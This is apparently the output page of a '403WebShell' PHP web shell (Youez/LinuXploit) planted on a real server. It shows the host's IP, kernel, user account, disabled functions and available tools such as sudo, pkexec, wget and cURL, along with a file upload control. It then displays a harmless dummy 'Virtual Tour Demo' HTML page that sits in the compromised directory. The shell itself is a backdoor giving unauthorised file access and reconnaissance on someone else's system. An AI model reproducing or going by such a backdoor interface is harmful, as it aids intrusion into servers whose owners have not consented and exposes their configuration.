403WebShell

403Webshell

Server IP : 103.175.220.74 / Your IP : 216.73.216.151
Web Server : nginx/1.18.0
System : Linux p-floo-wj1-db 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : deploy ( 1003)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON
Directory : /var/www/app/virtual-tour/

Upload File :

[ Back ]

Current File : /var/www/app/virtual-tour/index.html

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Virtual Tour Demo</title>

  <style>
    body {
      margin: 0;
      font-family: Arial, sans-serif;
      background: #fafafa;
    }

    header {
      background: #222;
      color: #fff;
      padding: 15px;
      text-align: center;
    }

    h1 {
      margin: 0;
      font-size: 22px;
    }

    .hero {
      padding: 40px 20px;
      text-align: center;
      background: #eee;
    }

    .hero h2 {
      margin-bottom: 10px;
    }

    .tours {
      display: flex;
      flex-wrap: wrap;
      gap: 15px;
      padding: 20px;
      justify-content: center;
    }

    .card {
      width: 250px;
      background: white;
      border-radius: 8px;
      overflow: hidden;
      cursor: pointer;
      box-shadow: 0 2px 5px rgba(0,0,0,0.1);
      transition: 0.2s;
    }

    .card:hover {
      transform: scale(1.03);
    }

    .card img {
      width: 100%;
      height: 150px;
      object-fit: cover;
    }

    .card h3 {
      margin: 10px;
      font-size: 16px;
    }

    .viewer {
      margin: 20px;
      text-align: center;
    }

    .viewer img {
      width: 90%;
      max-width: 800px;
      border-radius: 10px;
    }

    footer {
      margin-top: 30px;
      background: #222;
      color: white;
      text-align: center;
      padding: 10px;
    }
  </style>
</head>
<body>

<header>
  <h1>Virtual Tour Demo</h1>
</header>

<section class="hero">
  <h2>Explore Virtual Places</h2>
  <p>Click any tour below (dummy interaction)</p>
</section>

<section class="tours">
  <div class="card" onclick="showTour(1)">
    <img src="https://picsum.photos/400/300?1">
    <h3>Beach View</h3>
  </div>

  <div class="card" onclick="showTour(2)">
    <img src="https://picsum.photos/400/300?2">
    <h3>Mountain View</h3>
  </div>

  <div class="card" onclick="showTour(3)">
    <img src="https://picsum.photos/400/300?3">
    <h3>City View</h3>
  </div>
</section>

<section class="viewer">
  <h2>Viewer (Dummy)</h2>
  <img id="viewerImage" src="https://picsum.photos/800/400?1">
</section>

<footer>
  <p>Dummy Virtual Tour Website</p>
</footer>

<script>
  function showTour(id) {
    document.getElementById("viewerImage").src =
      "https://picsum.photos/800/400?" + id;

    window.scrollTo({
      top: document.querySelector('.viewer').offsetTop,
      behavior: 'smooth'
    });
  }
</script>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit